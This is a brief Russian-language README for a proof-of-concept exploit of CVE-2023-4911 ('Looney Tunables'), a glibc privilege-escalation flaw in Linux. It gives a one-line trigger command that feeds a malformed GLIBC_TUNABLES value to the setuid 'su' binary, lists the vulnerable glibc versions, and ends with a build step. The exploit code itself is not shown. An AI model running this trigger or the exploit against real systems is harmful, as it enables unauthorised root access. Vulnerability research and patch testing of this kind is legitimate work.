CVE-2023-4911

Это PoC (Proof Of Concept) для уязвимости Looney Tunables, позволяющей повышать привилегии в Linux. Основано на этом PoC. Огромное спасибо leesh3288. Здесь вы можете найти очень подробный разбор, а здесь — посмотреть очень классное видео от IppSec.

Использование

Проверьте, уязвима ли система

env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help

Стоит отметить, что уязвимые версии glibc, включая эту, — от 2.35-0ubuntu3.3 и ниже.

Запустите эксплоит

$ make